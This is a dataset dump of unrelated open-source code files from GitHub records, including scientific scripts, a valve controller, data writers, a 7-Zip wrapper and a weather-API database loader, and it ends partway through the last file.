build_model(self):\n \"\"\"\n This function is required to build the model and assign to the object\n `self.model`.\n \"\"\"\n return ExampleBagOfWordsModel(self.opt, self.dict)\n","repo_name":"facebookresearch/ParlAI","sub_path":"parlai/agents/examples/tra.py","file_name":"tra.py","file_ext":"py","file_size_in_byte":3215,"program_lang":"python","lang":"en","doc_type":"code","stars":10365,"dataset":"github-code","pt":"36"} +{"seq_id":"1923964196","text":"from _spy.vitollino.main import Cena, Elemento, STYLE, Texto\n\nFUNDO = \"https://i.imgur.com/v7dtxen.jpg\"\nBONECO = \"https://imgur.com/gfe9a1S.png\"\nINICIO = \"https://i.imgur.com/hXur4Nv.png\"\n\nSTYLE[\"width\"] = 900\nSTYLE[\"heigth\"] = 900\n\nclass inicio():\n def __init__(self):\n self.fundo = Cena(FUNDO)\n self.zero = Elemento (INICIO, x=230 , y=620, cena=self.fundo, vai=self.comeca)\n self.boneco = boneco(self.fundo, 1)\n self.cf = dict(A=-1.350, B=-4) \n self.comeca()\n def comeca(self, *_):\n self.boneco.x = 200\n self.mais = Texto(self.fundo, txt = \"Clique aqui\", foi=self.foi, A=\"-0.8\", B=\"-4\")\n self.mais.vai()\n \n def foi(self,opcao):\n self.boneco.a = self.cf [opcao]\n self.boneco.x = 200\n self.boneco.y = 620\n self.boneco.aparece()\n \n def vai(self):\n self.fundo.vai()\n \nclass boneco():\n def __init__(self, fundo, opcao):\n self.x = opcao\n ## self.b = 400\n self.c = 500\n self.a = 200\n y = self.a*self.x+self.c\n self.bonequinha = Elemento(BONECO, h=250 , w=250, x=self.x, y=y)\n self.bonequinha.o = 0\n self.bonequinha.y = self.a*self.x+self.c\n self.bonequinha.x = self.x\n self.bonequinha.vai = self.equacao1\n self.bonequinha.entra(fundo)\n \n def aparece(self):\n self.bonequinha.o = 1\n \n def equacao1(self,*_):\n self.bonequinha.x = self.x = self.x + 10\n self.bonequinha.y = self.a*self.x+self.c\n\nif __name__ == \"__main__\":\n\tinicio().vai()","repo_name":"kwarwp/janese","sub_path":"samantha/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1574,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"38568096389","text":"def element_original_index(array, key):\n index_array = list(range(len(array)))\n if key in array : \n count = array.count(key)\n indices = [] \n if count > 1:\n for i in range(0,count): \n index = array.index(key) \n indices.append(index)\n array[index] = ''\n return indices \n else :\n return array.index(key)\n else :\n return 'Element not present' \n\nprint(element_original_index([4,3,6,1,0,3,3],3)) \n\n# print(element_original_index([4,3,6,1,0],5) ) \n\n\n\n\n\n\n'''\n1st trial :\n let's remove the key and check if the key is present again in the array \n remove - it removes the element encountered the first time \n\nfirst approach is confusing and keeping track becomes difficult \n\n2nd trial :\n try to get the no of time the key is repeating in the input array \n\n then ??\n\n3rd:\n - trying to avoid one more for loop to get the count of the repeation \n\n easy way to get how many times a element is repeating in an array : is by count method \n (internet)\n\n - same index is getting apended again and again as the array dosn't change \n \n so remove the key 1st time when found \n\n but this will change the positioning of the elements hence the array and so the wrong \n index will be returned \n\n - instead removing replace the 1st key with an empty element this wn't change the indexing of the \n remaining element\n\n how : replace method ?\n'''\n","repo_name":"archanakalburgi/Algorithms","sub_path":"daily_log/26_aug/original_index.py","file_name":"original_index.py","file_ext":"py","file_size_in_byte":1506,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"74644092905","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom multiprocessing import Pool\n\nfrom datetime import datetime\n\n\n#band unfolding for ssh model\n\n\nv=1\nw=2\n\n\nN=200\n\nM=int(N/2)\n\nsupKValsAll=[2*np.pi/(2*M)*m for m in range(0,M)]\n\n\ndef hs(K):\n \"\"\"\n\n :param K: momentum in SBZ\n :return: h_s matrix for supercell\n \"\"\"\n ret=np.zeros((4,4),dtype=complex)\n\n ret[0,1]=v\n ret[0,3]=w*np.exp(-1j*2*K)\n ret[1,0]=v\n ret[1,2]=w\n ret[2,1]=w\n ret[2,3]=v\n ret[3,0]=w*np.exp(1j*2*K)\n ret[3,2]=v\n\n return ret\n\n\n\ndef wrapper4Sup(K):\n \"\"\"\n\n :param K: momentum in SBZ\n :return: K, sorted eigenvalues and corresponding eigenvectors\n \"\"\"\n vals,vecs=np.linalg.eigh(hs(K))\n inds=np.argsort(vals)\n sortedVals=[vals[i] for i in inds]\n sortedVecs=[vecs[:,i] for i in inds]\n return [K,sortedVals,sortedVecs]\n\n\n\n\ndef unfolding(KEigVecList):\n \"\"\"\n\n :param KEigVecList: [K,eig,vec]\n :return: [k, unfolded eigenvalue]\n \"\"\"\n K,E,z=KEigVecList\n z0,z1,z2,z3=z\n xi0=np.array([z0,z1])/np.linalg.norm(np.array([z0,z1]),ord=2)\n xi1=np.array([z2,z3])/np.linalg.norm(np.array([z2,z3]),ord=2)\n\n sgn=np.vdot(xi0,xi1)/np.exp(1j*K)\n\n if np.isclose(sgn,1,rtol=1e-04, atol=1e-06):\n k=K\n else:\n k=K+np.pi\n\n return [k,E]\n\n\nprocNum=48\n\npool0=Pool(procNum)\n\ntEigStart=datetime.now()\n\nretAllKValsVecs=pool0.map(wrapper4Sup,supKValsAll)\n\ntEigEnd=datetime.now()\n\nprint(\"eig time: \",tEigEnd-tEigStart)\n\nlistIntoUnfolding=[]\nfor item in retAllKValsVecs:\n K, sortedVals, sortedVecs=item\n length=len(sortedVals)\n for j in range(0,length):\n listIntoUnfolding.append([K,sortedVals[j],sortedVecs[j]])\n\n\npool1=Pool(procNum)\n\ntUnfoldingStart=datetime.now()\n\nretUnfolded=pool1.map(unfolding,listIntoUnfolding)\n\ntUnfoldingEnd=datetime.now()\n\nprint(\"unfolding: \", tUnfoldingEnd-tUnfoldingStart)\n\nunfoldedk=[]\nunfoldedE=[]\n\n\n\nfor item in retUnfolded:\n k,E=item\n unfoldedk.append(k)\n unfoldedE.append(E)\n\nunfoldedk=np.array(unfoldedk)\nprimkValsAll=[2*np.pi/N*n for n in range(0,N)]\ndef hp(k):\n \"\"\"\n\n :param k: 0 to 2pi\n :return: target spectrum\n \"\"\"\n ret=np.zeros((2,2),dtype=complex)\n ret[0,1]=v+w*np.exp(-1j*k)\n ret[1,0]=v+w*np.exp(1j*k)\n\n return ret\n\ndef wrapper4Prim(k):\n vals,vecs=np.linalg.eigh(hp(k))\n return [k,vals,vecs]\n\n\npool2=Pool(procNum)\ntPrimEigStart=datetime.now()\n\nretPrim=pool2.map(wrapper4Prim,primkValsAll)\ntPrimEigEnd=datetime.now()\n\nprint(\"time for primitive cells: \",tPrimEigEnd-tPrimEigStart)\ndef list2Plot(retFromPool):\n #sort eigenvalues\n momentumList=[]\n length=len(retFromPool[0][1])\n sortedEigsList=[]\n for j in range(0,length):\n sortedEigsList.append([])\n for elem in retFromPool:\n momentum,vals,_=elem\n sortedVals=sorted(vals)\n momentumList.append(momentum)\n for j in range(0,length):\n sortedEigsList[j].append(sortedVals[j])\n return np.array(momentumList),sortedEigsList\n\nkPrimList,primSortedEigVals=list2Plot(retPrim)\n\nplt.figure()\nplt.scatter(unfoldedk/np.pi,unfoldedE,color=\"blue\",label=\"unfolded spectrum\",s=4)\nplt.xlabel(\"$k/\\pi$\")\nplt.ylabel(\"$E$\")\n\nlabelPrimitive=\"targer band\"\nfor row in primSortedEigVals:\n plt.plot(kPrimList/np.pi,row,color=\"magenta\",label=labelPrimitive)\n labelPrimitive = \"_nolegend_\"\n\n\nplt.legend()\nplt.title(\"$v=$\"+str(v)+\", $w=$\"+str(w))\nplt.savefig(\"unfolding.png\")","repo_name":"saschapojot/band_unfolding","sub_path":"sshUnfolding.py","file_name":"sshUnfolding.py","file_ext":"py","file_size_in_byte":3407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"33324587059","text":"import csv\nfrom modules.add_note import add_note\n\n\ndef csv_import(filename):\n with open(filename, newline='') as csvfile:\n reader = csv.DictReader(csvfile)\n counter = 0\n for row in reader:\n add_note(row[\"Фамилия\"], row[\"Имя\"], row[\"Телефон\"], row[\"Описание\"])\n counter += 1\n print(f\"Импортировано записей: {counter}\")","repo_name":"Vildan84/GB_Python_HW07_directory","sub_path":"modules/import_modules/csv_import.py","file_name":"csv_import.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"35947084197","text":"import geniusclient\nimport spotifyclient\nimport os\n\ndef print_album_info(artist_name,song_title):\n sp = spotifyclient.create_spotipy_object()\n song_data = spotifyclient.get_song_data(song_title,sp)\n album_ids = spotifyclient.get_album_ids(song_data,artist_name,song_title)\n spotifyclient.appears_on(song_title,album_ids,sp)\n\ndef main():\n client_access_token = os.environ.get('CLIENT_ACCESS_TOKEN')\n artist_name = input(\"please enter an artist to search for:\\n\")\n song_title = input(\"please enter a song to search for:\\n\")\n album_option = input(\"would you like album info for the song, yes or no ?:\\n\")\n song_data = geniusclient.get_song_data(song_title,client_access_token)\n url = geniusclient.get_url(artist_name,song_data)\n\n if url:\n if album_option == \"yes\":\n print_album_info(artist_name,song_title)\n lyrics = geniusclient.scrape(url)\n print(lyrics)\n else:\n print(\"No match\")\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"owen-flynn/Song-Lyric-Scraper","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"13926940563","text":"import logging\nimport os\nfrom typing import Any, TextIO\n\nimport pandas as pd\n\nfrom otoole.input import WriteStrategy\nfrom otoole.read_strategies import CSV_TO_EXCEL\nfrom otoole.utils import read_packaged_file\n\nlogger = logging.getLogger(__name__)\n\n\nclass WriteExcel(WriteStrategy):\n def _header(self):\n return pd.ExcelWriter(self.filepath, mode=\"w\")\n\n def _form_parameter(\n self, df: pd.DataFrame, parameter_name: str, default: float\n ) -> pd.DataFrame:\n \"\"\"Converts data into wide format\n\n Arguments\n ---------\n df: pd.DataFrame\n parameter_name: str\n default: float\n\n Returns\n -------\n pandas.DataFrame\n \"\"\"\n\n if not df.empty:\n\n names = df.columns.to_list()\n if len(names) > 2:\n logger.debug(\n \"More than 2 columns for {}: {}\".format(parameter_name, names)\n )\n rows = names[0:-2]\n columns = names[-2]\n values = names[-1]\n logger.debug(\"Rows: %s; columns: %s; values: %s\", rows, columns, values)\n logger.debug(\"dtypes: {}\".format(df.dtypes))\n pivot = pd.pivot_table(\n df, index=rows, columns=columns, values=values, fill_value=default\n )\n elif len(names) == 2:\n logger.debug(\"Two columns for {}: {}\".format(parameter_name, names))\n rows = names[0]\n values = names[1]\n logger.debug(\"Rows: %s; values: %s\", rows, values)\n pivot = pd.pivot_table(\n df, index=rows, values=values, fill_value=default\n )\n else:\n logger.debug(\"One column for {}: {}\".format(parameter_name, names))\n pivot = df.copy()\n pivot = pivot.reset_index(drop=True)\n\n else:\n logger.debug(\"Dataframe {} is empty\".format(parameter_name))\n pivot = df.copy()\n\n return pivot\n\n def _write_parameter(\n self,\n df: pd.DataFrame,\n parameter_name: str,\n handle: pd.ExcelWriter,\n default: float,\n ):\n try:\n name = CSV_TO_EXCEL[parameter_name]\n except KeyError:\n name = parameter_name\n df = self._form_parameter(df, parameter_name, default)\n df.to_excel(handle, sheet_name=name, merge_cells=False)\n\n def _write_set(self, df: pd.DataFrame, set_name, handle: pd.ExcelWriter):\n df.to_excel(handle, sheet_name=set_name, merge_cells=False, index=False)\n\n def _footer(self, handle=pd.ExcelWriter):\n handle.close()\n\n\nclass WriteDatafile(WriteStrategy):\n def _header(self):\n filepath = open(self.filepath, \"w\", newline=\"\")\n msg = \"# Model file written by *otoole*\\n\"\n filepath.write(msg)\n return filepath\n\n def _form_parameter(self, df: pd.DataFrame, default: float):\n\n df = df[df.VALUE != default]\n return df\n\n def _write_parameter(\n self, df: pd.DataFrame, parameter_name: str, handle: TextIO, default: float\n ):\n \"\"\"Write parameter data to a GMPL datafile, omitting data with default value\n\n Arguments\n ---------\n filepath : StreamIO\n df : pandas.DataFrame\n parameter_name : str\n handle: TextIO\n default : int\n \"\"\"\n df = self._form_parameter(df, default)\n handle.write(\"param default {} : {} :=\\n\".format(default, parameter_name))\n df.to_csv(path_or_buf=handle, sep=\" \", header=False, index=True)\n handle.write(\";\\n\")\n\n def _write_set(self, df: pd.DataFrame, set_name, handle: TextIO):\n \"\"\"Write set data to a GMPL datafile\n\n Arguments\n ---------\n df : pandas.DataFrame\n set_name : str\n handle: TextIO\n \"\"\"\n handle.write(\"set {} :=\\n\".format(set_name))\n df.to_csv(path_or_buf=handle, sep=\" \", header=False, index=False)\n handle.write(\";\\n\")\n\n def _footer(self, handle: TextIO):\n handle.write(\"end;\\n\")\n handle.close()\n\n\nclass WriteCsv(WriteStrategy):\n \"\"\"Write parameters to comma-separated value files\n\n Arguments\n ---------\n filepath: str, default=None\n The path to write a folder of csv files\n default_values: dict, default=None\n user_config: dict, default=None\n \"\"\"\n\n def _header(self) -> Any:\n os.makedirs(os.path.join(self.filepath), exist_ok=True)\n return None\n\n def _write_parameter(\n self, df: pd.DataFrame, parameter_name: str, handle: TextIO, default: float\n ) -> pd.DataFrame:\n \"\"\"Write parameter data\"\"\"\n self._write_out_dataframe(self.filepath, parameter_name, df, index=True)\n\n def _write_out_dataframe(self, folder, parameter, df, index=False):\n \"\"\"Writes out a dataframe as a csv into the data subfolder of a datapackage\n\n Arguments\n ---------\n folder : str\n parameter : str\n df : pandas.DataFrame\n index : bool, default=False\n Write the index to CSV\n\n \"\"\"\n filepath = os.path.join(folder, parameter + \".csv\")\n with open(filepath, \"w\", newline=\"\") as csvfile:\n logger.info(\n \"Writing %s rows into narrow file for %s\", df.shape[0], parameter\n )\n df.to_csv(csvfile, index=index)\n\n def _write_set(self, df: pd.DataFrame, set_name, handle: TextIO) -> pd.DataFrame:\n \"\"\"Write set data\"\"\"\n self._write_out_dataframe(self.filepath, set_name, df, index=False)\n\n def _footer(self, handle: TextIO):\n pass\n\n\nclass WriteDatapackage(WriteCsv):\n def _header(self) -> Any:\n os.makedirs(os.path.join(self.filepath, \"data\"), exist_ok=True)\n return None\n\n def _write_out_dataframe(self, folder, parameter, df):\n \"\"\"Writes out a dataframe as a csv into the data subfolder of a datapackage\n\n Arguments\n ---------\n folder : str\n parameter : str\n df : pandas.DataFrame\n\n \"\"\"\n filepath = os.path.join(folder, \"data\", parameter + \".csv\")\n with open(filepath, \"w\", newline=\"\") as csvfile:\n logger.info(\n \"Writing %s rows into narrow file for %s\", df.shape[0], parameter\n )\n df.to_csv(csvfile, index=True)\n\n def _footer(self, handle: TextIO):\n datapackage = read_packaged_file(\"datapackage.json\", \"otoole.preprocess\")\n filepath = os.path.join(self.filepath, \"datapackage.json\")\n with open(filepath, \"w\", newline=\"\") as destination:\n destination.writelines(datapackage)\n self._write_default_values()\n\n def _write_default_values(self):\n\n default_values_path = os.path.join(self.filepath, \"data\", \"default_values.csv\")\n with open(default_values_path, \"w\", newline=\"\") as csv_file:\n csv_file.write(\"name,default_value\\n\")\n\n for name, contents in self.input_config.items():\n if contents[\"type\"] == \"param\":\n csv_file.write(\"{},{}\\n\".format(name, contents[\"default\"]))\n","repo_name":"vignesh1987/otoole","sub_path":"src/otoole/write_strategies.py","file_name":"write_strategies.py","file_ext":"py","file_size_in_byte":7138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"36"} +{"seq_id":"874813180","text":"import sys\nfrom PyQt5.QtWidgets import QApplication, QMainWindow\nfrom PyQt5.QtWidgets import QPushButton\nfrom PyQt5.QtGui import QFont\n#from PyQt5.QtMultimedia import QMediaPlayer\n#import pyglet\n\n\nclass MainWindow(QMainWindow):\n def __init__(self):\n super().__init__()\n self.stat = False\n self.bt = QPushButton(\"Play\", self)\n self.bt.move(300,100) \n self.bt.resize(700,500)\n self.bt.setFont(QFont('',100))\n self.bt.clicked.connect(self.onPB)\n #self.song = pyglet.media.load('StairwayToHeaven.mp3')\n\n def onPB(self):\n self.stat = not self.stat\n\n #self.bt.setText(\"Stop\" if not self.stat else \"Play\")\n if not self.stat:\n self.bt.setText(\"Stop\")\n #self.song.play()\n else:\n self.bt.setText(\"Play\")\n #self.song.stop()\n\n\nif __name__=='__main__':\n app = QApplication(sys.argv)\n mainWindow = MainWindow()\n mainWindow.showFullScreen()\n sys.exit(app.exec_())","repo_name":"PIUphil/project","sub_path":"Multimedia/mp3play.py","file_name":"mp3play.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"17494241025","text":"#from django.conf.urls import url\nfrom django.urls import path, include\nfrom . import views\n#from django.conf import settings\n#from django.conf.urls.static import static\n\nfrom rest_framework import routers\n\n\nrouter = routers.DefaultRouter()\nrouter.register(r'servicios', views.ServiciosViewSet, basename='servicios')\nrouter.register(r'mutuales', views.MutualesViewSet, basename='mutuales')\nrouter.register(r'servicio_mutual', views.ServiciosMutualViewSet, basename='servicios_mutuales')\n\nurlpatterns = [\n path('', include(router.urls)),\n]","repo_name":"juancastelli1/FederacionMut","sub_path":"Mutuales/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"22219400879","text":"import itertools as it\n\ntest_cases = int(input())\n\nfor i in range(0, test_cases):\n\n price = int(input())\n\n n = int(input())\n\n coins = []\n for j in range(0, n):\n coins.append(int(input()))\n\n combinations = []\n\n for k in range(1, n + 1):\n\n aux = list(it.combinations(coins, r=k))\n combinations += aux\n\n sums = [sum(x) for x in combinations]\n\n sums.sort()\n\n print(combinations)\n\n for k in range(0, len(sums)):\n\n if(sums[k] >= price):\n print(sums[k], k)\n break\n","repo_name":"Vitorka/maratona","sub_path":"ExactChange.py","file_name":"ExactChange.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"18539499797","text":"import os\nimport sys\nimport shutil\nimport platform\nfrom subprocess import call\n\n\nclass SevenZip:\n\n def create_archive_with(self, name, files):\n print(name, files)\n for file in files:\n print(file)\n archive_command = ['7za', 'a', '-t7z', name, file]\n call(archive_command)\n\n\n def extract_archive(self, archive, destination=None, default_dir='binary'):\n \"\"\"Extract archive (extracts 7z archives)\n\n @param archive: path to archive\n @param destination: where to extract\n\n @return: destination folder\n \"\"\"\n if not destination:\n destination = os.path.join(os.path.dirname(archive), default_dir)\n print('Extracting archive. Params: %s', locals())\n\n try:\n if archive.endswith('.7z'):\n if sys.platform == 'darwin':\n extract_seven_zip = ['7za', 'x', archive, '-o{0}'.format(destination)]\n if 'linux' in sys.platform:\n extract_seven_zip = ['7za', 'x', archive, '-o{0}'.format(destination)]\n if sys.platform == 'win32':\n extract_seven_zip = ['7z', 'x', archive, '-o{0}'.format(destination)]\n print('Platform: {0} detected'.format(sys.platform))\n call(extract_seven_zip)\n except:\n print('Unable to extract archive')\n\n if not os.path.isdir(destination):\n os.makedirs(destination)\n try:\n print('Trying to copy %s to %s', archive, destination)\n shutil.copy2(archive, destination)\n except:\n print('Failed to copy archive')\n \n return os.path.join(destination, os.path.basename(archive))\n\n return destination","repo_name":"martinlaus/seitse","sub_path":"seven_zip.py","file_name":"seven_zip.py","file_ext":"py","file_size_in_byte":1791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"70301629864","text":"\nfrom adafruit_motor.motor import DCMotor\nimport adafruit_logging as logging\n\nimport digitalio\nimport time\n\nclass Valve():\n\n def __init__(self, motor:DCMotor, name, loghandler=None):\n self.motor = motor\n self.name = name\n\n # For valves that need to be actively closed, add another motor driver\n self.motor_close = None\n\n self.manual = False\n self.pulsing = False\n\n self.pulses = 24\n self.timer_toggle = -1000\n\n self.open_duration = 10\n self.close_duration = 120\n\n self.pulse = 0\n\n self.manual_pos = False #closed\n\n self.gpio_open = None\n self.gpio_close = None\n\n self.timer_close = 0\n self.timer_open = 0\n self.opening = False\n self.closing = False\n self.blocked = False\n\n # Set up logging\n self.log = logging.getLogger(self.name)\n if loghandler:\n self.log.addHandler(loghandler)\n\n self.close()\n\n def setup_position_signals(self, pin_open=None, pin_close=None):\n if pin_open:\n self.gpio_open = digitalio.DigitalInOut(pin_open)\n self.gpio_open.switch_to_input(pull=digitalio.Pull.UP)\n\n if pin_close:\n self.gpio_close = digitalio.DigitalInOut(pin_close)\n self.gpio_close.switch_to_input(pull=digitalio.Pull.UP)\n\n def check_position(self):\n if self.motor.throttle == 1 and self.gpio_open is not None:\n if self.gpio_open.value == False:\n self.log.info('fully open')\n return True\n\n if self.motor.throttle == 0 and self.gpio_close is not None:\n if self.gpio_close.value == False:\n self.log.info('fully closed')\n return True\n\n self.log.info('position check failed')\n return False\n\n def toggle(self):\n # mcu.log.info(f'Toggling valve {index}')\n if self.motor.throttle == 1:\n self.close()\n else:\n self.open()\n\n def open(self):\n if self.motor_close:\n self.motor_close.throttle = 0\n time.sleep(0.1)\n self.motor.throttle = 1\n self.log.info(f'Opening Valve')\n self.timer_open = time.monotonic()\n self.closing = False\n if self.gpio_open:\n self.opening = True\n\n def close(self):\n self.motor.throttle = 0\n if self.motor_close:\n time.sleep(0.1)\n self.motor_close.throttle = 1\n self.log.info(f'Closing Valve')\n self.timer_close = time.monotonic()\n self.opening = False\n if self.gpio_close:\n self.closing = True\n\n def update(self):\n\n if self.closing:\n if time.monotonic() - self.timer_close > 10:\n self.log.critical('Valve not closed after 10s, possible blockage')\n self.closing = False\n self.blocked = True\n if self.gpio_close.value == False:\n self.closing = False\n self.blocked = False\n self.log.info(f'closed in {round(time.monotonic() - self.timer_close, 1)}s')\n\n if self.opening:\n if time.monotonic() - self.timer_open > 10:\n self.log.critical('Valve not Opened after 10s, possible blockage')\n self.opening = False\n self.blocked = True\n if self.gpio_open.value == False:\n self.opening = False\n self.blocked = False\n self.log.info(f'opened in {round(time.monotonic() - self.timer_open, 1)}s')\n\n if self.manual:\n self.pulsing = False\n if self.manual_pos == False:\n if self.motor.throttle == 1:\n self.close()\n else:\n if self.motor.throttle == 0:\n self.open()\n\n else: #Auto/Scheduled mode\n if self.pulsing:\n if self.motor.throttle == 1:\n if time.monotonic() - self.timer_toggle > self.open_duration:\n self.timer_toggle = time.monotonic()\n if self.pulse >= self.pulses:\n self.pulse = 0\n self.pulsing = False\n self.close()\n else:\n if time.monotonic() - self.timer_toggle > self.close_duration:\n self.timer_toggle = time.monotonic()\n self.open()\n self.pulse += 1\n \n else:\n if self.motor.throttle == 1:\n self.close()","repo_name":"calcut/circuitpy_septic_tank","sub_path":"solenoid_valve.py","file_name":"solenoid_valve.py","file_ext":"py","file_size_in_byte":4622,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"6797305481","text":"from django.utils.translation import ugettext_lazy as _\n\nfrom utils.faker_factory import faker\n\nfrom ..mails import BaseMailView\n\n\nclass ProjectsLocationChangedMailView(BaseMailView):\n \"\"\"\n \"\"\"\n template_name = 'mails/projects/project_location_changed.html'\n\n mandatory_mail_args = [\n 'name',\n 'user_name',\n 'location',\n 'public_url',\n ]\n\n subject = _('The location for %(name)s has changed')\n section = 'projects'\n\n def get_mock_data(self, optional=True):\n mock_data = {\n 'name': '[Project Name]',\n 'user_name': '[Name]',\n 'location': '[New location]',\n 'disable_notification_url': None,\n 'public_url': '/{}'.format(faker.uri_path()),\n }\n return mock_data\n","repo_name":"tomasgarzon/exo-services","sub_path":"service-exo-mail/mail/mailviews/projects_location_changed.py","file_name":"projects_location_changed.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"30526021280","text":"# populate.py\n\n# Contains the getter functions for the Meteo API and preprocessing module. \n# It makes all relevant API calls to Meteo, preprocesses the results and finally dumps them\n# into the database.\n\nimport pandas as pd\nimport logging\nimport datetime as dt\nimport sqlite3\nfrom tabulate import tabulate\nimport sys\nimport os\nfrom meteomatics._constants_ import LOGGERNAME\nimport meteomatics.api as api\n\nDB_NAME = \"meteo.db\"\nDUMMY = \"./meteo_dummy.pkl\"\n\nusername = os.environ.get(\"METEO_API_USR\")\npassword = os.environ.get(\"METEO_API_PSW\")\n\n# logging\n_logger = logging.getLogger(__name__)\n_logger.setLevel(logging.DEBUG)\nformatter = logging.Formatter('%(levelname)s:%(asctime)s:%(module)s:%(name)s:%(funcName)s: %(message)s', datefmt='%Y:%m:%d::%H:%M:%S')\nstream_handler = logging.StreamHandler()\nstream_handler.setFormatter(formatter)\n_logger.addHandler(stream_handler)\n\ndef check():\n \"\"\"\n Function to check if getting close to the Meteo API limits and also display current count.\n\n Returns:\n None\n \"\"\"\n res = api.query_user_limits(username, password)\n total0 = res['requests since last UTC midnight'][0]\n total1 = res['requests since last UTC midnight'][1] * 0.8\n sec0 = res['requests in the last 60 seconds'][0]\n sec1 = res['requests in the last 60 seconds'][1] * 0.8\n parallel0 = res['requests in parallel'][0]\n parallel1 = res['requests in parallel'][1] * 0.8\n if total0 >= total1:\n _logger.warning(\"CAUTION: approaching Meteo API limit. {} of {} total requests consumed\".format(total0, total1))\n if sec0 >= sec1:\n _logger.warning(\"CAUTION: approaching Meteo API limit. {} of {} requests in the last 60 seconds consumed\".format(sec0, sec1))\n if parallel0 >= parallel1:\n _logger.warning(\"CAUTION: approaching Meteo API limit. {} of {} parallel requests consumed\".format(parallel0, parallel1))\n _logger.info(\"Requests total: {}/{}, last 60_sec: {}/{}, parallel: {}/{}\".format(total0, int(total1), sec0, int(sec1), parallel0, int(parallel1)))\n\ndef getter():\n \"\"\"\n Function to connect to the Meteo API (https://www.meteomatics.com/en/)\n and make API calls to gather all requested data.\n\n Returns:\n DataFrame that contains the preprocessed result of the API calls\n \"\"\"\n\n check()\n startdate = dt.datetime.utcnow().replace(hour=0, minute=0, second=0, microsecond=0) # starting date\n enddate = startdate + dt.timedelta(days=7) # ending date\n interval = dt.timedelta(days=1) # interval\n coordinates = [\n (37.9839412, 23.7283052), # coords\n ]\n loc_dict = { # coords dict\n \"Athens\" : (37.9839412, 23.7283052),\n \"Rethimno\" : (35.3676472, 24.4736079),\n \"Larnaca\" : (4.9236095, 33.6236184)\n }\n model = 'mix' # forecasting model\n parameters = ['t_2m:C', 'precip_24h:mm', 'wind_speed_10m:ms'] # what to forecast\n _logger.info(\"Starting preprocessing\")\n res = pd.DataFrame()\n temp = pd.DataFrame()\n # loop for every location in loc_dict\n for key, value in loc_dict.items(): \n # make api call with defined parameters\n try:\n _logger.info(\"API call for {}\".format(key))\n df = api.query_time_series([loc_dict[key]], startdate, enddate, interval,\n parameters, username, password)\n except Exception as e:\n _logger.error('Failed with exception {}'.format(e))\n\n # prepare the dataframe to insert to db\n loc = []\n lat = []\n lon = []\n date = []\n temp = []\n rain = []\n wind = []\n\n # unwrap the result of api call\n for i, (ind, val) in enumerate(zip(df.index, df.values)):\n loc.append(key)\n lat.append(ind[0])\n lon.append(ind[1])\n date.append(ind[2].date())\n temp.append(float(val[0]))\n rain.append(float(val[1]))\n wind.append(float(val[2]))\n temp = pd.DataFrame(list(zip(loc, lat, lon, date, temp, rain, wind)),\n columns =['loc', 'lat', 'lon', 'date', 'temp', 'rain', 'wind'])\n _logger.info(f'finished getting {key}')\n \n # combining the different location dfs\n res = pd.concat([res, temp])\n\n # resetting index to use as PK later\n res.reset_index(drop=True, inplace=True)\n res.to_pickle(f\"./meteo_dummy.pkl\") # for backup\n _logger.info(\"result of getter: \\n{}\".format(res))\n return res\n\ndef preproc(df):\n \"\"\"\n Function that takes as input the preprocessed DataFrame of the getter() function\n and puts it into a db.\n\n Args:\n df (pandas.DataFrame): DataFrame containing weather data\n\n Returns:\n None\n \"\"\"\n #df = pd.read_pickle(DUMMY)\n #_logger.info(\"loaded dummy pickle file {}: \\n{}\".format(DUMMY, df))\n\n # connect to db\n def connect_to_db():\n try:\n conn = sqlite3.connect(DB_NAME)\n cursor = conn.cursor()\n _logger.info(\"Connected to db: \" + DB_NAME)\n except Exception as e:\n _logger.error(\"Failed with exception {}\".format(e))\n return conn, cursor\n\n # create tables\n conn, cursor = connect_to_db()\n cursor.execute('''\n CREATE TABLE IF NOT EXISTS `weather_data` (\n `index` integer PRIMARY KEY,\n `loc` string DEFAULT NULL,\n `lat` float DEFAULT NULL,\n `lon` float DEFAULT NULL,\n `date` timestamp DEFAULT NULL,\n `temp` float DEFAULT NULL,\n `rain` float DEFAULT NULL,\n `wind` float DEFAULT NULL,\n PRIMARY KEY (`lat`, `lon`)\n );\n ''')\n _logger.info(\"created SQL table\")\n\n # send data to table\n df.to_sql('weather_data', conn, if_exists='replace', index=True)\n _logger.info('sent dataframe to db')\n\n # print table to make sure\n sql_query = \"\"\"SELECT * FROM weather_data\n \"\"\"\n cursor.execute(sql_query)\n names = list(map(lambda x: x[0], cursor.description))\n #_logger.info('Columns: {}'.format(names))\n res = cursor.fetchall()\n _logger.info('db table ↓\\n{}'.format(tabulate(res, headers=names)))\n\ndef run():\n \"\"\"\n Function to get called from outside this scope if this file gets imported as module.\n\n Returns:\n None\n \"\"\"\n _logger.info(\"Running populate functions\")\n df = getter()\n preproc(df)\n\ndef export():\n \"\"\"\n Function to export database to csv.\n\n Returns:\n None\n \"\"\"\n conn = sqlite3.connect(DB_NAME, isolation_level=None,\n detect_types=sqlite3.PARSE_COLNAMES)\n db_df = pd.read_sql_query(\"SELECT * FROM weather_data\", 